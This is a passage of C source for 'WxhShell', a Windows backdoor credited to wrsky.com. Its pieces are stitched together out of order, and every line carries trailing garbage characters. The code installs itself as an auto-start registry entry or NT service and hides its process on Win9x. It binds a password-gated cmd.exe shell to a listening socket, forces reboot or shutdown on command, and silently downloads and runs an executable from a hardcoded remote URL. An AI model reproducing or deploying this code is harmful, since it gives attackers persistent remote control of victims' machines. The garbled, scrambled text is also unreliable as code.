    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'h53:?~  
    if(Boot(SHUTDOWN)) z|^:1ov,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3,DUT{2  
    else { :aI[ lZ  
    closesocket(wsh); 1Jg&L~Ws"  
    ExitThread(0); y2;uG2IS_g  
    } yDg`9q.ckm  
    break; eU&[^  
    } 3.Z}2F]  
  // 获取shell @d:TAwOI'  
  case 's': { #!wu}nDu  
    CmdShell(wsh); qPDe;$J)  
    closesocket(wsh); es 8%JTi  
    ExitThread(0); &<2~7?$!  
    break; m X{_B!j^  
  } ;9PJ K5>~  
  // 退出 87l(a,#J  
  case 'x': { 62TWqQ!9d  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kG@~;*;l  
    CloseIt(wsh); pyhC%EZU  
    break; L'B= =#  
    } `qnSq(tNq  
  // 离开 Clr~:2g\  
  case 'q': { ?9'Ukw` g  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Xb6X'rY  
    closesocket(wsh); }K1v=k  
    WSACleanup(); ad+@2-Y  
    exit(1); P /|2s  
    break; J5e  
        } '=C)Hj[D  
  } {Z%4Pg  
  } }iZO0C  
O W`yv  
  // 提示信息 5V5Nx(31i  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .`*h2  
} FC[8kq>Hk  
  } `1k0wT(  
, 7-@eZ  
  return; r#hA kOw  
} OZ##x  
^h #0e:7<  
// shell模块句柄 7%DA0.g  
int CmdShell(SOCKET sock) "I+71Ce  
{ }TE4)vXs  
STARTUPINFO si; 7vO3+lT/Y;  
ZeroMemory(&si,sizeof(si)); xc{$=>'G  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m%au* 0p  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "=8= G  
PROCESS_INFORMATION ProcessInfo; uflRW+-2  
char cmdline[]="cmd"; Mtxn@m{i;"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); EAafi <n  
  return 0; Zpc R   
} whFaL}2C  
12r]"?@|s  
// 自身启动模式 |:)UNb?R"O  
int StartFromService(void) C]H'z  
{ o+Cd\D69S  
typedef struct zv/owK  
{ Y,0D+sO4  
  DWORD ExitStatus; K@d,8[  
  DWORD PebBaseAddress; %Y!31oC#  
  DWORD AffinityMask; DvL/xlN  
  DWORD BasePriority; mz)Z =`hy  
  ULONG UniqueProcessId; 9?W!E_  
  ULONG InheritedFromUniqueProcessId; /WqiGkHV*  
}   PROCESS_BASIC_INFORMATION; *O6q=yg;K:  
MoAZ!cF8  
PROCNTQSIP NtQueryInformationProcess; 6[wAX  
/DLgE7iU%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R;D|To!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; F&pJ faig  
BhFyEY(  
  HANDLE             hProcess; ^q{=mf`  
  PROCESS_BASIC_INFORMATION pbi; KlOL5"3  
V% -wZL/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =VXxQ\{  
  if(NULL == hInst ) return 0; QxUsdF?p  
SA3!a.*c  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); RC{|:@]8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y*K]z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); hf#[Vns  
LYM(eK5V  
  if (!NtQueryInformationProcess) return 0; +E5EOo{ `|  
W[ZW=c  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2g'o5B\ *  
  if(!hProcess) return 0; /D@(o`a  
N5m+r.<;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; lxSCN6  
#\DKU@|h  
  CloseHandle(hProcess); c ow]qe6K  
~# ~XDcc  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (Qf"|3R4  
if(hProcess==NULL) return 0; Fh[Gq  
-%I 0Q  
HMODULE hMod; Dx:2/"v  
char procName[255]; N5]}m:"pk  
unsigned long cbNeeded; r*Iu6  
@x u/&pbI  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *21foBfqh  
b&iJui"7k  
  CloseHandle(hProcess); \9FWH}|  
Y\cQ "9  
if(strstr(procName,"services")) return 1; // 以服务启动 @-d0 ~.S  
)$Tcip`  
  return 0; // 注册表启动 XHX$Ur9  
} y&F0IJ|`@M  
bi =IIVlH  
// 主模块 ??MF8 uv  
int StartWxhshell(LPSTR lpCmdLine) e3YdHp  
{ I{rW+<)QGC  
  SOCKET wsl; ^TWMYF-  
BOOL val=TRUE; )cF1?2  
  int port=0; 7"|j.Yq$H{  
  struct sockaddr_in door; J|Af`HJ  
=A yDVWpE  
  if(wscfg.ws_autoins) Install(); ICbT{Mla  
Zcq 4?-&  
port=atoi(lpCmdLine); >wPMJ> 2  
0/Q"~H?%  
if(port<=0) port=wscfg.ws_port; X!'nfN  
;8VvpO^G/  
  WSADATA data; B%~D`[~?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vbn'CY]QU  
Gd= l{~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (txr%Z0E  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9gS.G2  
  door.sin_family = AF_INET; B^{87YR  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Po+tk5}''5  
  door.sin_port = htons(port); c <T'_93  
VlLc[eVV  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !"dn!X  
closesocket(wsl); 9[L@*7A`m  
return 1; ?M02|8-  
} UN,y /V  
fxR}a,a  
  if(listen(wsl,2) == INVALID_SOCKET) { $ 2/T]  
closesocket(wsl); BAQ;.N4  
return 1; 4t Z. T9d  
} Wd0$t    
  Wxhshell(wsl); #!h +K"wX  
  WSACleanup(); q1d'L *   
q^.\8zFf  
return 0; GiF})e}  
02_37!\  
} uI'g]18Hi  
Dq~PxcnI  
// 以NT服务方式启动 HDTdOG)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g;M\4o  
{ *`(/wE2v]  
DWORD   status = 0; A \6Q*VhK  
  DWORD   specificError = 0xfffffff; $1(FN+ M b  
wd=xs7Dz<p  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1|PmZPKq9n  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #h#Bcv0 Z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .F*2]xj@"  
  serviceStatus.dwWin32ExitCode     = 0; ;~Em,M"o  
  serviceStatus.dwServiceSpecificExitCode = 0; 8G SO]R  
  serviceStatus.dwCheckPoint       = 0; HJ\CGYmyz  
  serviceStatus.dwWaitHint       = 0; Ul EP;  
k*;2QED  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [H3~b=  
  if (hServiceStatusHandle==0) return; Q I.*6-(  
,;_D~7L  
status = GetLastError(); N,><,7!q$,  
  if (status!=NO_ERROR) 0 CJ4]mYl  
{ ji &*0GJQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )kE(%q:*P$  
    serviceStatus.dwCheckPoint       = 0; #=MQE  
    serviceStatus.dwWaitHint       = 0; h0N*hx   
    serviceStatus.dwWin32ExitCode     = status; JKFV7{ %Gl  
    serviceStatus.dwServiceSpecificExitCode = specificError; rCmxv7" a}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8J- ;/  
    return; !Qg%d&q.Sx  
  } ;[_w&"[6a  
)~](qLSl  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^1%gQ@P  
  serviceStatus.dwCheckPoint       = 0; M?UlC   
  serviceStatus.dwWaitHint       = 0; LqHeLN  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); aoZ`C3  
} ?Z<2zm%qV  
R.g'&_zx  
// 处理NT服务事件,比如:启动、停止 kRk=8^."By  
VOID WINAPI NTServiceHandler(DWORD fdwControl) zn4Yo  
{ t?-7Z6  
switch(fdwControl) j=^b'dyL  
{ J6!t"eB+  
case SERVICE_CONTROL_STOP: ;,z^!bD  
  serviceStatus.dwWin32ExitCode = 0; x+O}RD*G  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @'EP$!c  
  serviceStatus.dwCheckPoint   = 0; V zx%N.  
  serviceStatus.dwWaitHint     = 0; S*H :/Ip  
  { bW`@9 =E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [xXml On!  
  } 6g ,U+~  
  return; $Xlyc.8YId  
case SERVICE_CONTROL_PAUSE: r|Y|u v0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; V.IgEE]  
  break; ,x+_/kqx  
case SERVICE_CONTROL_CONTINUE: ax0:v!,e  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |U_48  
  break; S|A?z)I  
case SERVICE_CONTROL_INTERROGATE: %@! Vx  
  break; HY]vaA`  
}; 5k`[a93T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F_SkS?dB  
} tVhY=X{N?  
OpwZTy}1}  
// 标准应用程序主函数 t[6g9e$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ta+'*@V +G  
{ M} IRagm  
|Hbe]2"x>  
// 获取操作系统版本 Ru?Ue4W^b  
OsIsNt=GetOsVer(); Av*R(d=`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (BC3[R@/l  
}9=\#Le~\  
  // 从命令行安装 O_f|R1G5z  
  if(strpbrk(lpCmdLine,"iI")) Install(); /$hfd?L  
`d=$9Pi  
  // 下载执行文件 EX>|+zYL  
if(wscfg.ws_downexe) { [Cz.K?+#M  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~Exd_c9  
  WinExec(wscfg.ws_filenam,SW_HIDE); KJa?TwnC  
} ?ng?>!  
7"f$;CN?~  
if(!OsIsNt) { `07u}]d8  
// 如果时win9x,隐藏进程并且设置为注册表启动 fB5Bh;K  
HideProc(); ay2 m!s Q  
StartWxhshell(lpCmdLine); Rg&6J#h  
} z[Kxy1,  
else `h M:U  
  if(StartFromService()) 'f`~"@  
  // 以服务方式启动 RB_7S!qC5  
  StartServiceCtrlDispatcher(DispatchTable); gKg2Ntxj  
else 8w|j Z@  
  // 普通方式启动 G'( %8\  
  StartWxhshell(lpCmdLine); 6|#^4D)  
vi6EI wZG  
return 0; }>xgzhdT  
} ~(B\X?v  
p5C sw5  
^(8 i` `V  
&86km FA  
=========================================== 1){1 HK  
+a sJV1a  
t8s1d  
l)z15e5X  
Q8M&nf  
nJ4h9`[>V  
" 4j!MjlG$  
?9i7+Y"  
#include <stdio.h> $B4}('&4FQ  
#include <string.h> QB@qzgEJ!,  
#include <windows.h> f? F i{m  
#include <winsock2.h> 8'*z>1ZS5  
#include <winsvc.h> BzA(yCu$:  
#include <urlmon.h> "zw?AC6  
Ul[>LKFY  
#pragma comment (lib, "Ws2_32.lib") p;j$i6YJ  
#pragma comment (lib, "urlmon.lib") 0|{U"\  
]t1)8v2w>  
#define MAX_USER   100 // 最大客户端连接数 N|Ua|^  
#define BUF_SOCK   200 // sock buffer Pp GNA  
#define KEY_BUFF   255 // 输入 buffer q y y.3-(  
7F`QN18>(  
#define REBOOT     0   // 重启 #'<I!G  
#define SHUTDOWN   1   // 关机 h^>kjMM  
-p ) l63  
#define DEF_PORT   5000 // 监听端口 O6OP{sb  
9Pd~  
#define REG_LEN     16   // 注册表键长度 % @Ks<"9  
#define SVC_LEN     80   // NT服务名长度 5"y p|Yl  
svyC(m)'  
// 从dll定义API 5S$HDO&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); t2OXm  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Rv q_Zsm  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); GU'5`Yzd9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); f\~e&`PV  
v5w I?HE  
// wxhshell配置信息 /^uvY  
struct WSCFG { Njq#@*>[p  
  int ws_port;         // 监听端口 2O9dU 5b  
  char ws_passstr[REG_LEN]; // 口令 R^](X*  
  int ws_autoins;       // 安装标记, 1=yes 0=no )gR14a  
  char ws_regname[REG_LEN]; // 注册表键名 Lj(hk @  
  char ws_svcname[REG_LEN]; // 服务名 )dF(5,y)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5vbnO]8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >o 3X)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 P xpz7He  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Di*+Cz;gK  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" An[*Jx  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u{H,i(mx?  
7L;yN..0  
}; 4PD"[a="  
UXQ{J5Ox+  
// default Wxhshell configuration l,*Q?q  
struct WSCFG wscfg={DEF_PORT, >Fx$Rty  
    "xuhuanlingzhe", < q; ]  
    1, ; tvB{s_  
    "Wxhshell", OM!ES%c,  
    "Wxhshell", f`A  
            "WxhShell Service", L{^DZg|E  
    "Wrsky Windows CmdShell Service", -ZQ3^'f:0J  
    "Please Input Your Password: ", @aCg1Rm  
  1, {K3\S 0L  
  "http://www.wrsky.com/wxhshell.exe", Oku4EJFJ  
  "Wxhshell.exe" m3_e]v3{o  
    }; P603P  
FbFUZ^Zj  
// 消息定义模块 =#Vdz=.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5\=9&{WjND  
char *msg_ws_prompt="\n\r? for help\n\r#>"; t s ?b[v  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &p ;};n  
char *msg_ws_ext="\n\rExit."; jcq(=7j  
char *msg_ws_end="\n\rQuit."; :jp?FF^j;  
char *msg_ws_boot="\n\rReboot..."; yH#;k:O=  
char *msg_ws_poff="\n\rShutdown..."; [po+a@ %  
char *msg_ws_down="\n\rSave to "; kOdS^-  
@z/]!n\~  
char *msg_ws_err="\n\rErr!"; i6`8yw  
char *msg_ws_ok="\n\rOK!";  _&(ij(H  
JEHV \ =  
char ExeFile[MAX_PATH]; zZ32K@  
int nUser = 0; 'hya#rC&(  
HANDLE handles[MAX_USER]; K7f-g]Ibdn  
int OsIsNt; |!!E5osXq  
/mD KQ<  
SERVICE_STATUS       serviceStatus; 6{7O  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; XIjSwR kYJ  
GE5@XT  
// 函数声明 4`8.\  
int Install(void); _a<PUdP  
int Uninstall(void); Gzp)OHgJ  
int DownloadFile(char *sURL, SOCKET wsh); M\v4{\2l0  
int Boot(int flag); /$eEj  
void HideProc(void); E0O{5YF^T  
int GetOsVer(void); FJU)AjS~  
int Wxhshell(SOCKET wsl); ^ w&TTo(  
void TalkWithClient(void *cs); lZ)u4_  
int CmdShell(SOCKET sock); Z,4=<;PF  
int StartFromService(void); e#nTp b  
int StartWxhshell(LPSTR lpCmdLine); 3&y u  
3@"VS_;?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); iL,3g[g  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ItaJgtsV  
B:mlBSH  
// 数据结构和表定义 .9^;? Ts  
SERVICE_TABLE_ENTRY DispatchTable[] = +'n1?^U  
{ /pk; E$qv  
{wscfg.ws_svcname, NTServiceMain}, jQ^Ib]"K  
{NULL, NULL} HJcZ~5jf  
}; >8 JvnBFx=  
Bp/8 >E O`  
// 自我安装 GzB%vsv9 5  
int Install(void) "V^jAPDXb  
{ %[Ds-my2  
  char svExeFile[MAX_PATH]; X^.r@tT  
  HKEY key; s lI)"+6  
  strcpy(svExeFile,ExeFile); &pba~X.u  
2(c#m*Q!b  
// 如果是win9x系统,修改注册表设为自启动 i@I%$!cB  
if(!OsIsNt) { ix#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D$mrnm4d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); " LxJPt\  
  RegCloseKey(key); @2$8o]et  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }`M6+.z3F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4xYo2X,B  
  RegCloseKey(key); B0KM~cCPQP  
  return 0; g8x8u|  
    } \)#3S $L~  
  } &qpA<F@7  
} 3+$O#>  
else { 8/F2V?iT  
R|M:6]}   
// 如果是NT以上系统,安装为系统服务 s24H.>Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 785iY865  
if (schSCManager!=0) r9t{/})A  
{ *FE<'+%  
  SC_HANDLE schService = CreateService [ho'Pc3A<  
  ( XM 7zA^-  
  schSCManager,  WcJ{}V9  
  wscfg.ws_svcname, tV,zz;* Oe  
  wscfg.ws_svcdisp, y@Or2bO#  
  SERVICE_ALL_ACCESS, 'q-h kN  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |kd^]! _  
  SERVICE_AUTO_START, <qy+@t  
  SERVICE_ERROR_NORMAL, .iS]aJJ  
  svExeFile, xD#/@E1'Y  
  NULL, .iYgRW=T  
  NULL, ^\6UTnS.  
  NULL, w:N2 xI  
  NULL, >I!(CM":s$  
  NULL zc{C+:3$^  
  ); "D/ fB%h`  
  if (schService!=0) 8`~]9ej  
  { Tc*PDt0C  
  CloseServiceHandle(schService); <f*0 XJ#  
  CloseServiceHandle(schSCManager); qXF"1f_+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :ox CF0Y  
  strcat(svExeFile,wscfg.ws_svcname); lt4UNJ3w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { BxqCV%9o  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xV6j6k  
  RegCloseKey(key); 51,m^veO  
  return 0; Ii8jY_  
    } P}I*SV0  
  } [K KoEZ  
  CloseServiceHandle(schSCManager); `Qhh{  
} k$2Y)  
} 6GN'rVr!Z  
;uDFd04w [  
return 1; +W1rm$Q  
} k8JPu"R  
9x1Dyz 2?F  
// 自我卸载 Z4!3I@yZ  
int Uninstall(void) |eqDT,4  
{ r=`>'3 } x  
  HKEY key; # 9t/j`{  
@e7+d@ O<  
if(!OsIsNt) { 3IkG*enI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !:8!\gE ^P  
  RegDeleteValue(key,wscfg.ws_regname); 6\K)\  
  RegCloseKey(key); *+z({S_Nv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #n"/9%35f`  
  RegDeleteValue(key,wscfg.ws_regname); ?xet:#R'  
  RegCloseKey(key); Txh;r.1e  
  return 0; jZ;T&s  
  } t]ZSo-  
} !jbjrzv9  
} T,fz/5w  
else { z|2liQrf+  
KOQTvJ_#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); m+=!Z|K  
if (schSCManager!=0) S`G\Cd;5  
{ [ZbK)L+_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &)l:m.  
  if (schService!=0) i&$uG[&P  
  { #o RUH8  
  if(DeleteService(schService)!=0) { Sf8d|R@O  
  CloseServiceHandle(schService); E(8g(?4  
  CloseServiceHandle(schSCManager); vn<S"  
  return 0; cjXwOk1:s  
  } y ^\8x^Eg  
  CloseServiceHandle(schService); UQ)}i7v  
  } hA8 zXk/'8  
  CloseServiceHandle(schSCManager); Z:_y,( 1Q  
} ?zEF?LJoK  
} Q  [{vU  
F*4+7$E0B  
return 1; E'G>'cW;x  
} =-qsz^^a-  
v`&Z.9!Tz^  
// 从指定url下载文件 kXr%73s  
int DownloadFile(char *sURL, SOCKET wsh) GpL#, qYc  
{ E@Fen CF  
  HRESULT hr; X d6y7s  
char seps[]= "/"; f<wgZM  
char *token; Tt\w^Gv\d  
char *file; '}u31V"SS  
char myURL[MAX_PATH]; ThxrhQ q[+  
char myFILE[MAX_PATH]; &; \v_5N6  
v,&2 !Zv  
strcpy(myURL,sURL); sFQ|lU"n  
  token=strtok(myURL,seps); 3_$eQ`AAA  
  while(token!=NULL) Ub,unU  
  { "}! rM6 h  
    file=token; {76!  
  token=strtok(NULL,seps); SOmn2 }   
  } [/G;XHL;?  
lND[anB!  
GetCurrentDirectory(MAX_PATH,myFILE); 3p4?-Dd|_$  
strcat(myFILE, "\\"); %j@FZ )a[  
strcat(myFILE, file); ^&iV%vQ[  
  send(wsh,myFILE,strlen(myFILE),0); u*{ _WL[(  
send(wsh,"...",3,0); .a*$WGb  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >Il`AR;D  
  if(hr==S_OK) ,X^_w g  
return 0; Zi)b<tM q  
else a"}#HvB+  
return 1; gEP E9ew  
F6p1 VFs  
} {%{GZ  
cAS_?"V a  
// 系统电源模块 0K ?(xB  
int Boot(int flag) aB^G  
{ t5h_Q92N  
  HANDLE hToken; Z<W6Avr  
  TOKEN_PRIVILEGES tkp; E 6: p  
^A`(  
  if(OsIsNt) { M;qL)vf  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5H+k_U  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); lIg2iun[n  
    tkp.PrivilegeCount = 1; Tm52=+uf$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Q=E@i9c9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); SWpUVZyd  
if(flag==REBOOT) { \BXVWE|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) or}*tSKX  
  return 0; de9l;zF  
} |`wsKr'  
else { 7-I>5 3@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) VU9P\|c@<  
  return 0; Cw $^w  
} \F~Cbj+'Nu  
  } G4' U;  
  else { cg0 0t+  
if(flag==REBOOT) { YS~t d+*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9Z'eBp  
  return 0; X vMG09  
} PU5mz.&0'  
else { A@(h!Cq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T+RI8.#o  
  return 0; '*u;:[73  
} \_nmfTr!K  
} b6&NzUt34V  
!" %sp6Wc  
return 1; mthl?,I|  
} o '/C$E4W  
;bZ*6-\!-  
// win9x进程隐藏模块 1Uk~m  
void HideProc(void) JyC&L6[]Z  
{ ?3TV:fx"X  
?VQLY=?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  /;6@M=6u  
  if ( hKernel != NULL ) 0WE1}.J<  
  { m,C,<I|'d  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); E5G"QnxR>N  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vUe *  
    FreeLibrary(hKernel); FK# E7 K  
  } H~ n~5 sF"  
D1~x  
return; aGb. Lh9  
} < iI6@X>  
([b!$o<v  
// 获取操作系统版本 y*h1W4:^-  
int GetOsVer(void) #Jz&9I<OKx  
{ 86fK= G:>  
  OSVERSIONINFO winfo; c[_^bs>k  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); T% 13 '  
  GetVersionEx(&winfo); -MU.Hu  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) heZy 66  
  return 1; Q4Fq=kTE  
  else F(9 Y/UXH  
  return 0; .*-w UBr  
} B36puz 0{  
OP`Jc$| 6  
// 客户端句柄模块 ?%/u/*9rj  
int Wxhshell(SOCKET wsl) X2dc\v.x  
{ ^y0C5Bl;  
  SOCKET wsh; )S};k=kG  
  struct sockaddr_in client; jS3(>  
  DWORD myID; F] ?@X  
4UD=Y?zK  
  while(nUser<MAX_USER) U?mf^'RE  
{ a,*p_:~i  
  int nSize=sizeof(client); %m{.l4/!O  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); D`:d'ow~KQ  
  if(wsh==INVALID_SOCKET) return 1; uO@3vY',n  
D&l ,SD  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); UlNfI}#X  
if(handles[nUser]==0) 1Dya?}3  
  closesocket(wsh); o.3YM.B#  
else 1Uemsx%'k  
  nUser++; q7f;ZK=f  
  } +O$:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N1N{Ol'  
'K`Rbhy  
  return 0; ~,*YmB=Z  
} )R8%'X;U  
I+"?,Ej$K  
// 关闭 socket N^ s!!Sbpq  
void CloseIt(SOCKET wsh) "WbVCT'i  
{ g(1B W#$  
closesocket(wsh); gFs/012{  
nUser--; @>fO;*  
ExitThread(0); sCtw30BL  
} 7e c0Xh1  
p/k<wCm6  
// 客户端请求句柄 / $9 :L  
void TalkWithClient(void *cs) ^+%tlX_+.  
{ f-3'D-{EKt  
Cb{A:\>Q{  
  SOCKET wsh=(SOCKET)cs; $HBT%g@UN  
  char pwd[SVC_LEN]; juMxl  
  char cmd[KEY_BUFF]; tpa^k  
char chr[1]; hB7pR"P  
int i,j; ^0~c 7`k`V  
!/6\m!e|1R  
  while (nUser < MAX_USER) { }B=qH7u.K  
YWRE&MQ_  
if(wscfg.ws_passstr) { w=D%D8 r2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UV']NH h  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _2m[(P9d  
  //ZeroMemory(pwd,KEY_BUFF); O}MZ-/z=o~  
      i=0; xY2}Wr j,  
  while(i<SVC_LEN) { Ni!;-,H+E  
k%]DT.cE  
  // 设置超时 dv'E:R(a  
  fd_set FdRead; =@JS88+  
  struct timeval TimeOut; gX$0[ sIS.  
  FD_ZERO(&FdRead); p,w|=@=  
  FD_SET(wsh,&FdRead); w53z*l>ek  
  TimeOut.tv_sec=8; }F{C= l2  
  TimeOut.tv_usec=0; G(As%r]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); '<%Nw-  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "*w)puD  
j,=*WG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?""\  
  pwd=chr[0]; F_nZvv[H?  
  if(chr[0]==0xd || chr[0]==0xa) { t=Z&eKDC  
  pwd=0; T9z4W]T  
  break; fW.GNX8  
  } =t3vbV  
  i++; N.0HfYf  
    } Ht|",1yr+  
$N;"}G z  
  // 如果是非法用户,关闭 socket >*`>0Q4y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?ds f@\  
} 3>Q@r>c  
S<eZd./p6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }XCR+uAz  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S5~`T7Ra  
,!6M* |  
while(1) { R:w %2Y  
ImWXzg3@{  
  ZeroMemory(cmd,KEY_BUFF); EO#gUv  
! Ea&]G  
      // 自动支持客户端 telnet标准   cBifZv*l  
  j=0; ^]$$)(jw  
  while(j<KEY_BUFF) { j:3EpD@GS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d"H<e}D  
  cmd[j]=chr[0]; _W0OM[  
  if(chr[0]==0xa || chr[0]==0xd) { D =r-  
  cmd[j]=0; H>?:U]  
  break; J>=1dCK  
  } k42b:W5%  
  j++; Es'-wr\Hm  
    } 7qP4B9S  
oGm1d{_-O  
  // 下载文件 7E$eN8H  
  if(strstr(cmd,"http://")) { Fweh =v  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >Hi h  
  if(DownloadFile(cmd,wsh)) g/IH|Z=A  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); w]};0v&\~s  
  else 3`58ah  
